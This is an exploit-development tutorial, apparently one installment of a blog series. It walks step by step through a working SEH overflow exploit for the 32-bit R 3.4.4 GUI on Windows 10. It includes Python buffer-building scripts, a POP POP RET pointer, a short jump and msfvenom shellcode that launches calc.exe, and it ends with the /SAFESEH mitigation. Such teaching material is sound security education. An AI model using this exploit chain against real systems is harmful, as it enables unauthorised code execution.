Bookmark this to keep an eye on my project updates!
by Andy
In this article we will be writing an exploit for a 32 bit Windows application vulnerable to Structured Exception Handler (SEH) overflows. Whilst this type of exploit has been around for a long time it is still applicable to modern systems demonstrated by that the host used in this article is running Windows 10.
This guide was written to run on a fresh install of Windows 10 Pro (either 32-bit or 64-bit should be fine) and as such you should follow along inside a Windows 10 virtual machine. This vulnerability has also been tested on Windows 7 however the offsets in this article are the ones from the Windows 10 machine. The steps to recreate the exploit however are exactly the same.
We will need a copy of X64dbg which you can download from the official website and a copy of the ERC plugin for X64dbg from here. If you already have a copy of X64dbg and the ERC plugin installed running “ERC –Update” will download and install the latest 32bit and 64 bit plugins for you. As the vulnerable application we will be working with is a 32-bit application you will need to either download the 32-bit version of the plugin binaries or compile the plugin manually. Instructions for installing the plugin can be found on the GitHub page.
If using Windows 7 and X64dbg with the plugin installed and it crashes and exits when starting you may need to install .Net Framework 4.7.2 which can be downloaded here.
Finally, we will need a copy of the vulnerable application (R.3.4.4) which can be found here. In order to confirm everything is working, start X64dbg and select File -> Open, then navigate to where you installed R.3.4.4 and select the executable. Click through the breakpoints (there are many breakpoints to click through) and the R.3.4.4 GUI interface should pop up. Now in X64dbg’s terminal type:
Command:
ERC –help
You should see the following output:
Application open alongside the debugger.
An exception handler is a programming construct used to provide a structured way of handling both system and application level error conditions. Commonly they will look something like the code sample below:
try{
//Something to do
}
catch(Exception e){
//What to do if something throws an error.
}
Windows supplies a default exception handler for when an application has no exception handlers applicable to the associated error condition. When the Windows exception handler is called the application will close and an error message similar to the one in the image below will be displayed.
Exception handlers are stored in the format of a linked list with the final element being the Windows default exception handler, this is represented by a pointer with the value 0xFFFFFFFF. Elements in the SEH chain prior to the Windows default exception handler are the exception handlers defined by the application.
Each element in the SEH chain (an SEH record) is 8 bytes in length consisting of two 4 byte pointers. The first of which points to the next SEH record and the second of which points to the current SEH records exception handler.
When an exception occurs the operating system will traverse the SEH chain to find a suitable exception handler with which to handle the exception, the values from this handler will then be pushed onto the stack at ESP+8.
Each process contains a Thread Environment Block (TEB) which can be useful to exploit developers and
is pointed to by FS:[0]
.
The TEB contains information such as the following:
FS:[0x00]
.An image representation of the SEH chain can be seen below:
Example of an SEH chain.
If you would like to view a collection of exception handlers under normal conditions, compile the code below into an executable using Visual Studio and then run it using X64dbg.
#include <iostream>
int main()
{
std::cout << "Here are some excpetion handlers to view! Start this with X64dbg then look in the SEH tab.\n";
try {
throw "A pointless exception";
}
catch (const char* msg) {
// catch block
}
catch (int x) {
// catch block
}
catch (...) {
// generic catch all handler
}
}
When navigating to the SEH tab you should see a number of exception handler records consisting of two 4 byte sequences each.
Exception handlers under normal circumstances.
Confirming that the application is vulnerable to an SEH overflow requires us to pass a malicious input to the program and cause a crash. In order to create the malicious input we will use the following Python program which creates a file containing 3000 A’s.
f = open("crash-1.txt", "wb")
buf = b"\x41" * 3000
f.write(buf)
f.close()
Copy the contents of the file and move to the R.3.4.4 application, click Edit -> Gui preferences (if you are running Windows 10 at this point you will need to switch back to X64dbg and click through two more break points) then in the “GUI Preferences” window paste the file contents into “Language for menus” then click “OK”. A message box will appear giving an error message, click through this and then switch bag to X64dbg to examine the crash.
Initial Crash of R.3.4.4.
As in the first part in this series (The Basics of Exploit Development 1: Win32 Buffer Overflows), the EIP register has been overwritten indicating this application is also vulnerable to a standard buffer overflow (you can write an exploit for this type of vulnerability as well using this application if you wish) however in this article we are doing a SEH overflow and as such if we navigate to X64dgb’s SEH tab we can see that the first SEH record has been overwritten.
Overwritten SEH record.
At this point we have confirmed that the application is vulnerable to an SEH overwrite and we can continue to write our exploit code.
In order to exploit an SEH overflow we need to overwrite both parts of the SEH record. As you can see from the diagram above a SEH record has two parts, a pointer to the next SEH record and a pointer to the current SEH records exception handler. As such when you overwrite the pointer to the current exception handler you have to overwrite the pointer to the next exception handler as well because the pointer to the next exception handler sits directly before the pointer to the current exception handler on the stack.
When an exception occurs the application will go to the current SEH record and execute the handler. As such when we overwrite the handler, we need to put a pointer to something that will take us to our shell code.
This is done by executing a POP, POP, RET instruction set. What this set does is POP 8 bytes off the top of the stack and then a returns execution to the top of the stack (POP 4 bytes off the stack, POP 4 bytes off the stack, RET execution to the top of the stack) which leaves the pointer to the next SEH record at the top of the stack.
Finally as discussed earlier if we overwrite an SEH handler we must overwrite the pointer to the next SEH record then if we overwrite the next SEH record with a short jump instruction and some NOP’s we can jump over the SEH record on the stack and land in our payload buffer.
Now that we know we can overwrite the SEH record, we can start building a working exploit. As was the case in the previous episode of this series we will be using the ERC plugin for X64dbg. So let’s ensure we have all our files being generated in the correct place with the following commands.
Command:
ERC --config SetWorkingDirectory C:\Users\YourUserName\DirectoryYouWillBeWorkingFrom
If you are not using the same machine as last time you may want to reassign the project author.
Command:
ERC –config SetAuthor AuthorsName
Now that we have assigned our working directory and set an author for the project, the next task is to identify how far into our string of “A”s that the SEH record was overwritten. To identify this, we will generate a non-repeating pattern (NRP) and include it in our next buffer.
Command:
ERC --pattern c 3000
ERC Pattern Create output.
We can add this into our exploit code, so it looks like the following:
f = open("crash-2.txt", "wb")
buf = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"
buf += b"9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8"
buf += b"Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A"
buf += b"i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al"
buf += b"7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6"
buf += b"Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A"
buf += b"r6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au"
buf += b"5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4"
buf += b"Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3B"
buf += b"a4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd"
buf += b"3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2"
buf += b"Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1B"
buf += b"j2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm"
buf += b"1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0"
buf += b"Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9B"
buf += b"s0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu"
buf += b"9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8"
buf += b"Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7C"
buf += b"a8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd"
buf += b"7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6"
buf += b"Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5C"
buf += b"j6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm"
buf += b"5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4"
buf += b"Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3C"
buf += b"s4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv"
buf += b"3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2"
buf += b"Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1D"
buf += b"b2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De"
buf += b"1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0"
buf += b"Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9D"
buf += b"k0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm"
buf += b"9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8"
buf += b"Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7D"
buf += b"s8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv"
buf += b"7Dv8Dv9"
f.write(buf)
f.close()
Run the python program and copy the output into the copy buffer and pass it into the application again. It should cause a crash. Run the following command to find out how far into the pattern the SEH handler was overwritten.
Command:
ERC --FindNRP
The output should look like the following image. The output below indicates that the application is also vulnerable to a standard buffer overflow as was noted earlier.
FindNRP Identifies the point where the SEH record was overwritten.
The output of FindNRP indicates that after 1008 characters the SEH record was overwritten (this will be ~900 if you are on Windows 7) .We will now test this by filling both the SEH handler pointer and next SEH record pointer with specific characters.
f = open("crash-3.txt", "wb")
buf = b"\x41" * 1008
buf += b"\x42" * 4
buf += b"\x43" * 4
buf += b"\x44" *1984
f.write(buf)
f.close()
After providing the output to the application the SEH tab should show the following results. SEH Overwritten with B’s and C’s
SEH Overwritten with B's and C's.
In the previous installment of this series we covered identifying bad characters. You can review that here if you need to however the process for this exploit is exactly the same and we will not be covering it in this installment. The bad characters for this input are ‘\x00\x0A\x0D’.
Now that we have control over the SEH record we need to find a pointer to a POP, POP, RET instruction set. We can do this with the following command.
Command:
ERC –SEH
Output of ERC –SEH command.
When choosing our instruction we need to choose one that is not from a module with ASLR, DEP, Rebase or SafeSEH enabled and for portability purposes preferably not an OS DLL either. Ideally, we want one from a DLL associated with the application.
POP, POP, RET pointer.
I chose the above pointer to use. You can choose any that fit the requirements listed above. Once a pointer has been chosen, insert it over the “C”s in the exploit code so it looks something like this:
f = open("crash-4.txt", "wb")
buf = b"\x41" * 1008
buf += b"\x42\x42\x42\x42"
buf += b"\xc8\x12\x74\x63" #637412c8 pop edi, pop ebp, ret
buf += b"\x43" * 1988
f.write(buf)
f.close()
Then place a break point at 0x637412C8, create a new payload and pass it to the application again. You should land at your breakpoint. Single step through the POP, POP, RET instruction and return to your “B”s.
EIP pointing into the B’s from the payload.
Now we need to change the “B”s for a short jump, to jump over our SEH record overwrite and land in our payload buffer. In order to do this we need to generate a short jump instruction and build it into our payload.
Command:
ERC –Assemble jmp 0013
Output from ERC –Assemble jmp 0013 command.
Now that we have our short jump command and our pointer to a POP, POP, RET instruction set we can modify our exploit to land us in our buffer of “C”s.
f = open("crash-5.txt", "wb")
buf = b"\x41" * 1008
buf += b"\xEB\x0B\x90\x90"
buf += b"\xc8\x12\x74\x63" #637412c8 pop edi, pop ebp, ret
buf += b"\x43" * 1988
f.write(buf)
f.close()
Notice we have added to NOP’s to our short jump in order to make it a full 4 bytes. Now when we generate our payload and pass it to the application again we should wind up landing in our buffer of C’s. X64dbg with EIP pointing into C’s buffer.
X64DBG with EIP pointing into buffer of C's.
Now that we can redirect execution into an area of memory we control, we can start crafting our payload. Initially we will replace our “C”s with NOPs and we will use MSFVenom to create our payload.
Output of MSFVenom.
Command:
msfvemon -a x86 -p windows/exec CMD=calc.exe -b ‘\x00\x0A\x0D’ -f python
As in the last article we will add a small NOP sled to the start of our payload in order to add some stability to our exploit. After the NOP sled we append our payload making the final exploit code look something like the following:
f = open("crash-6.txt", "wb")
buf = b"\x41" * 1008
buf += b"\xEB\x0B\x90\x90"
buf += b"\xc8\x12\x74\x63" #637412c8 pop edi, pop ebp, ret
buf += b"\x90" * 50 #NOP Sled
#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
buf += b"\xba\xad\x1e\x7c\x02\xdb\xcf\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\xa2\xfc"
buf += b"\x89\xfe\x54\x82\x72\xff\xa4\xe3\xfb\x1a\x95\x23\x9f"
buf += b"\x6f\x85\x93\xeb\x22\x29\x5f\xb9\xd6\xba\x2d\x16\xd8"
buf += b"\x0b\x9b\x40\xd7\x8c\xb0\xb1\x76\x0e\xcb\xe5\x58\x2f"
buf += b"\x04\xf8\x99\x68\x79\xf1\xc8\x21\xf5\xa4\xfc\x46\x43"
buf += b"\x75\x76\x14\x45\xfd\x6b\xec\x64\x2c\x3a\x67\x3f\xee"
buf += b"\xbc\xa4\x4b\xa7\xa6\xa9\x76\x71\x5c\x19\x0c\x80\xb4"
buf += b"\x50\xed\x2f\xf9\x5d\x1c\x31\x3d\x59\xff\x44\x37\x9a"
buf += b"\x82\x5e\x8c\xe1\x58\xea\x17\x41\x2a\x4c\xfc\x70\xff"
buf += b"\x0b\x77\x7e\xb4\x58\xdf\x62\x4b\x8c\x6b\x9e\xc0\x33"
buf += b"\xbc\x17\x92\x17\x18\x7c\x40\x39\x39\xd8\x27\x46\x59"
buf += b"\x83\x98\xe2\x11\x29\xcc\x9e\x7b\x27\x13\x2c\x06\x05"
buf += b"\x13\x2e\x09\x39\x7c\x1f\x82\xd6\xfb\xa0\x41\x93\xf4"
buf += b"\xea\xc8\xb5\x9c\xb2\x98\x84\xc0\x44\x77\xca\xfc\xc6"
buf += b"\x72\xb2\xfa\xd7\xf6\xb7\x47\x50\xea\xc5\xd8\x35\x0c"
buf += b"\x7a\xd8\x1f\x6f\x1d\x4a\xc3\x5e\xb8\xea\x66\x9f"
buf += b"\x90" * (3000 - len(buf))
f.write(buf)
f.close()
Which, when passing the string into the application, causes the application to exit and the Windows calc.exe application to run.
Success!
Preventing SEH exploits in most applications can be achieved by specifying the /SAFESEH compiler switch. When /SAFESEH is specified, the linker will also produce a table of the image’s safe exception handlers. This table specifies for the operating system which exception handlers are valid for the image removing the ability to overwrite them with arbitrary values.
64 bit applications are not vulnerable to SEH exploits as by default they build a list of valid exception handlers and store it in the files PE header. As such this switch is not necessary for 64 bit applications. Further information can be found on the MSDN.
In this article we have covered how to exploit a 32bit Windows SEH overflow using X64dbg and ERC. Then we generated a payload with MSFVenom and added it to our exploit to demonstrate code execution. Whilst SEH overflows are not a new technique, as demonstrated in this article they are still very relevant today.
tags: Windows - Exploit-Development